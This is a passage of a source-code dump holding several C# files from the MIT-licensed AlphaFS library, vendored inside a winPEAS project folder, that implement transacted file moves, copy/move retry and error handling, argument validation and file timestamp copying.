names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = moveOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.RestartMoveOrThrowException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [SecurityCritical] private static bool RestartMoveOrThrowException(bool retry, int lastError, bool isFolder, bool isMove, CopyMoveArguments cma, string sourcePathLp, string destinationPathLp) { var restart = false; var srcExists = ExistsCore(cma.Transaction, isFolder, sourcePathLp, PathFormat.LongFullPath); var dstExists = ExistsCore(cma.Transaction, isFolder, destinationPathLp, PathFormat.LongFullPath); switch ((uint) lastError) { // File.Copy() // File.Move() // MSDN: .NET 3.5+: FileNotFoundException: sourcePath was not found. // // File.Copy() // File.Move() // Directory.Move() // MSDN: .NET 3.5+: DirectoryNotFoundException: The path specified in sourcePath or destinationPath is invalid (for example, it is on an unmapped drive). case Win32Errors.ERROR_FILE_NOT_FOUND: // On files. case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders. if (!srcExists) Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePathLp, isFolder, lastError, false, true); if (!dstExists) Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPathLp, isFolder, lastError, false, true); break; case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePathLp, false, lastError, true, false); Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPathLp, false, lastError, true, false); break; // File.Copy() // Directory.Copy() case Win32Errors.ERROR_ALREADY_EXISTS: // On folders. case Win32Errors.ERROR_FILE_EXISTS: // On files. lastError = (int) (isFolder ? Win32Errors.ERROR_ALREADY_EXISTS : Win32Errors.ERROR_FILE_EXISTS); if (!retry) NativeError.ThrowException(lastError, isFolder, destinationPathLp); break; default: var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); FillAttributeInfoCore(cma.Transaction, destinationPathLp, ref attrs, false, false); var destIsFolder = IsDirectory(attrs.dwFileAttributes); // For a number of error codes (sharing violation, path not found, etc) // we don't know if the problem was with the source or destination file. // Check if destination directory already exists. // Directory.Move() // MSDN: .NET 3.5+: IOException: destDirName already exists. if (destIsFolder && dstExists && !retry) NativeError.ThrowException(Win32Errors.ERROR_ALREADY_EXISTS, destinationPathLp); if (isMove) { // Ensure that the source file or folder exists. // Directory.Move() // MSDN: .NET 3.5+: DirectoryNotFoundException: The path specified by sourceDirName is invalid (for example, it is on an unmapped drive). if (!srcExists && !retry) NativeError.ThrowException(isFolder ? Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND, sourcePathLp); } // Try reading the source file. var fileNameLp = destinationPathLp; if (!isFolder) { using (var safeHandle = CreateFileCore(cma.Transaction, false, sourcePathLp, ExtendedFileAttributes.Normal, null, FileMode.Open, 0, FileShare.Read, false, false, PathFormat.LongFullPath)) if (null != safeHandle) fileNameLp = sourcePathLp; } if (lastError == Win32Errors.ERROR_ACCESS_DENIED) { // File.Copy() // File.Move() // MSDN: .NET 3.5+: IOException: An I/O error has occurred. // Directory exists with the same name as the file. if (dstExists && !isFolder && destIsFolder && !retry) NativeError.ThrowException(lastError, false, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, destinationPathLp)); // MSDN: .NET 3.5+: IOException: The directory specified by path is read-only. if (isMove && IsReadOnlyOrHidden(attrs.dwFileAttributes)) { if (HasReplaceExisting(cma.MoveOptions)) { // Reset attributes to Normal. SetAttributesCore(cma.Transaction, isFolder, destinationPathLp, FileAttributes.Normal, PathFormat.LongFullPath); restart = true; break; } // MSDN: .NET 3.5+: UnauthorizedAccessException: destinationPath is read-only. // MSDN: Win32 CopyFileXxx: This function fails with ERROR_ACCESS_DENIED if the destination file already exists // and has the FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY attribute set. if (!retry) throw new FileReadOnlyException(destinationPathLp); } } // MSDN: .NET 3.5+: An I/O error has occurred. // File.Copy(): IOException: destinationPath exists and overwrite is false. // File.Move(): The destination file already exists or sourcePath was not found. if (!retry) NativeError.ThrowException(lastError, isFolder, fileNameLp); break; } return restart; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.ValidateFileOrDirectoryMoveArguments.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { internal static CopyMoveArguments ValidateFileOrDirectoryMoveArguments(CopyMoveArguments cma, bool driveChecked, bool isFolder) { string unusedSourcePathLp; string unusedDestinationPathLp; return ValidateFileOrDirectoryMoveArguments(cma, driveChecked, isFolder, cma.SourcePath, cma.DestinationPath, out unusedSourcePathLp, out unusedDestinationPathLp); } /// Validates and updates the file/directory copy/move arguments and updates them accordingly. This happens only once per instance. private static CopyMoveArguments ValidateFileOrDirectoryMoveArguments(CopyMoveArguments cma, bool driveChecked, bool isFolder, string sourcePath, string destinationPath, out string sourcePathLp, out string destinationPathLp) { sourcePathLp = sourcePath; destinationPathLp = destinationPath; if (cma.PathsChecked) return cma; cma.IsCopy = IsCopyAction(cma); if (!cma.IsCopy) cma.DelayUntilReboot = VerifyDelayUntilReboot(sourcePath, cma.MoveOptions, cma.PathFormat); if (cma.PathFormat != PathFormat.LongFullPath) { if (null == sourcePath) throw new ArgumentNullException("sourcePath"); // File Move action: destinationPath is allowed to be null when MoveOptions.DelayUntilReboot is specified. if (!cma.DelayUntilReboot && null == destinationPath) throw new ArgumentNullException("destinationPath"); if (sourcePath.Trim().Length == 0) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "sourcePath"); if (null != destinationPath && destinationPath.Trim().Length == 0) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "destinationPath"); // MSDN: .NET3.5+: IOException: The sourceDirName and destDirName parameters refer to the same file or directory. // Do not use StringComparison.OrdinalIgnoreCase to allow renaming a folder with different casing. if (sourcePath.Equals(destinationPath, StringComparison.Ordinal)) NativeError.ThrowException(Win32Errors.ERROR_SAME_DRIVE, destinationPath); if (!driveChecked) { // Check for local or network drives, such as: "C:" or "\\server\c$" (but not for "\\?\GLOBALROOT\"). if (!sourcePath.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase)) Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePath, isFolder, (int) Win32Errors.NO_ERROR, true, false); // File Move action: destinationPath is allowed to be null when MoveOptions.DelayUntilReboot is specified. if (!cma.DelayUntilReboot) Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPath, isFolder, (int) Win32Errors.NO_ERROR, true, false); } // MSDN: .NET 4+ Trailing spaces are removed from the end of the path parameters before moving the directory. // TrimEnd() is also applied for AlphaFS implementation of method Directory.Copy(), .NET does not have this method. const GetFullPathOptions fullPathOptions = GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator; sourcePathLp = Path.GetExtendedLengthPathCore(cma.Transaction, sourcePath, cma.PathFormat, fullPathOptions); if (isFolder || !cma.IsCopy) cma.SourcePathLp = sourcePathLp; // When destinationPath is null, the file/folder needs to be removed on Computer startup. cma.DeleteOnStartup = cma.DelayUntilReboot && null == destinationPath; if (!cma.DeleteOnStartup) { Path.CheckSupportedPathFormat(destinationPath, true, true); destinationPathLp = Path.GetExtendedLengthPathCore(cma.Transaction, destinationPath, cma.PathFormat, fullPathOptions); if (isFolder || !cma.IsCopy) { cma.DestinationPathLp = destinationPathLp; // Process Move action options, possible fallback to Copy action. if (!cma.IsCopy) cma = Directory.ValidateMoveAction(cma); } if (cma.IsCopy) { cma.CopyTimestamps = HasCopyTimestamps(cma.CopyOptions); if (cma.CopyTimestamps) // Remove the AlphaFS flag since it is unknown to the native Win32 CopyFile/MoveFile functions. cma.CopyOptions &= ~CopyOptions.CopyTimestamp; } } // Setup callback function for progress notifications. if (null == cma.Routine && null != cma.ProgressHandler) { cma.Routine = (totalFileSize, totalBytesTransferred, streamSize, streamBytesTransferred, streamNumber, callbackReason, sourceFile, destinationFile, data) => cma.ProgressHandler(totalFileSize, totalBytesTransferred, streamSize, streamBytesTransferred, (int) streamNumber, callbackReason, cma.UserProgressData); } cma.PathFormat = PathFormat.LongFullPath; cma.PathsChecked = true; } return cma; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.VerifyDelayUntilReboot.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { private static bool VerifyDelayUntilReboot(string sourcePath, MoveOptions? moveOptions, PathFormat pathFormat) { var delayUntilReboot = HasDelayUntilReboot(moveOptions); if (delayUntilReboot) { if (HasCopyAllowed(moveOptions)) throw new ArgumentException(Resources.MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed, "moveOptions"); // MoveFileXxx: (lpExistingFileName) If dwFlags specifies MOVEFILE_DELAY_UNTIL_REBOOT, // the file cannot exist on a remote share, because delayed operations are performed before the network is available. if (Path.IsUncPathCore(sourcePath, pathFormat != PathFormat.LongFullPath, false)) throw new ArgumentException(Resources.MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath, "moveOptions"); } return delayUntilReboot; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.AppendTextCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The transaction. /// The path to the file to append to. /// The character to use. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static StreamWriter AppendTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { var fs = OpenCore(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat); try { fs.Seek(0, SeekOrigin.End); return new StreamWriter(fs, encoding); } catch (IOException) { fs.Close(); throw; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CopyMoveCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Threading; namespace Alphaleonis.Win32.Filesystem { public static partial class File { // Symbolic Link Effects on File Systems Functions: https://msdn.microsoft.com/en-us/library/windows/desktop/aa365682(v=vs.85).aspx /// Copy/move a Non-/Transacted file or directory including its children to a new location, or can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// You cannot use the Move method to overwrite an existing file, unless /// contains . /// This Move method works across disk volumes, and it does not throw an exception if the /// source and destination are the same. /// Note that if you attempt to replace a file by moving a file of the same name into /// that directory, you get an IOException. /// /// Returns a class with the status of the Copy or Move action. /// /// /// /// /// /// /// [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [SecurityCritical] internal static CopyMoveResult CopyMoveCore(bool retry, CopyMoveArguments cma, bool driveChecked, bool isFolder, string sourceFilePath, string destinationFilePath, CopyMoveResult copyMoveResult) { #region Setup cma = ValidateFileOrDirectoryMoveArguments(cma, driveChecked, false, sourceFilePath, destinationFilePath, out sourceFilePath, out destinationFilePath); var copyMoveRes = copyMoveResult ?? new CopyMoveResult(cma, isFolder, sourceFilePath, destinationFilePath); var isSingleFileAction = null == copyMoveResult && copyMoveRes.IsFile; var attempts = 1; var retryTimeout = 0; var errorFilter = null != cma.DirectoryEnumerationFilters && null != cma.DirectoryEnumerationFilters.ErrorFilter ? cma.DirectoryEnumerationFilters.ErrorFilter : null; if (retry) { if (null != errorFilter) { attempts += cma.DirectoryEnumerationFilters.ErrorRetry; retryTimeout = cma.DirectoryEnumerationFilters.ErrorRetryTimeout; } else { if (cma.Retry <= 0) cma.Retry = 2; if (cma.RetryTimeout <= 0) cma.RetryTimeout = 10; attempts += cma.Retry; retryTimeout = cma.RetryTimeout; } } // Calling start on a running Stopwatch is a no-op. copyMoveRes.Stopwatch.Start(); #endregion // Setup while (attempts-- > 0) { // MSDN: If this flag is set to TRUE during the copy/move operation, the operation is canceled. // Otherwise, the copy/move operation will continue to completion. bool cancel; copyMoveRes.ErrorCode = (int) Win32Errors.NO_ERROR; copyMoveRes.IsCanceled = false; int lastError; if (!cma.DelayUntilReboot) { // Ensure the file's parent directory exists. var parentFolder = Directory.GetParentCore(cma.Transaction, destinationFilePath, PathFormat.LongFullPath); if (null != parentFolder) parentFolder.Create(); } if (CopyMoveNative(cma, !cma.IsCopy, sourceFilePath, destinationFilePath, out cancel, out lastError)) { // We take an extra hit by getting the file size for a single file Copy or Move action. if (isSingleFileAction) copyMoveRes.TotalBytes = GetSizeCore(null, cma.Transaction, destinationFilePath, true, PathFormat.LongFullPath); if (!isFolder) { copyMoveRes.TotalFiles++; // Only set timestamps for files. if (cma.CopyTimestamps) CopyTimestampsCore(cma.Transaction, false, sourceFilePath, destinationFilePath, false, PathFormat.LongFullPath); } break; } // The Copy/Move action failed or is canceled. copyMoveRes.ErrorCode = lastError; copyMoveRes.IsCanceled = cancel; // Report the Exception back to the caller. if (null != errorFilter) { var continueCopyMove = errorFilter(lastError, new Win32Exception(lastError).Message, Path.GetCleanExceptionPath(destinationFilePath)); if (!continueCopyMove) { copyMoveRes.IsCanceled = true; break; } } if (!cancel) { if (retry) copyMoveRes.Retries++; retry = attempts > 0 && retryTimeout > 0; // Remove any read-only/hidden attribute, which might also fail. RestartMoveOrThrowException(retry, lastError, isFolder, !cma.IsCopy, cma, sourceFilePath, destinationFilePath); if (retry) { if (null != errorFilter && null != cma.DirectoryEnumerationFilters.CancellationToken) { if (cma.DirectoryEnumerationFilters.CancellationToken.WaitHandle.WaitOne(retryTimeout * 1000)) { copyMoveRes.IsCanceled = true; break; } } else using (var waitEvent = new ManualResetEvent(false)) waitEvent.WaitOne(retryTimeout * 1000); } } } if (isSingleFileAction) copyMoveRes.Stopwatch.Stop(); copyMoveResult = copyMoveRes; return copyMoveResult; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CopyTimestampsCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Copies the date and timestamps for the specified files and directories. /// /// This method does not change last access time for the source file. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// /// /// The transaction. /// Specifies that is a file or directory. /// The source path. /// The destination path. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void CopyTimestampsCore(KernelTransaction transaction, bool isFolder, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat) { var attrs = GetAttributesExCore(transaction, sourcePath, pathFormat, true); SetFsoDateTimeCore(transaction, isFolder, destinationPath, DateTime.FromFileTimeUtc(attrs.ftCreationTime), DateTime.FromFileTimeUtc(attrs.ftLastAccessTime), DateTime.FromFileTimeUtc(attrs.ftLastWriteTime), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateFileCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Creates or opens a file, directory or I/O device. /// A that provides read/write access to the file or directory specified by . /// /// To obtain a directory handle using CreateFile, specify the FILE_FLAG_BACKUP_SEMANTICS flag as part of dwFlagsAndAttributes. /// The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. /// /// /// /// /// /// The transaction. /// When true indicates the source is a directory, false indicates a file and null specifies a physical device. /// The path and name of the file or directory to create. /// One of the values that describes how to create or overwrite the file or directory. /// A instance that determines the access control and audit security for the file or directory. /// A constant that determines how to open or create the file or directory. /// A constant that determines the access rights to use when creating access and audit rules for the file or directory. /// A constant that determines how the file or directory will be shared by processes. /// /// true suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points. /// Indicates the format of the parameter. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Object needs to be disposed by caller.")] [SecurityCritical] internal static SafeFileHandle CreateFileCore(KernelTransaction transaction, bool? isFolder, string path, ExtendedFileAttributes attributes, FileSecurity fileSecurity, FileMode 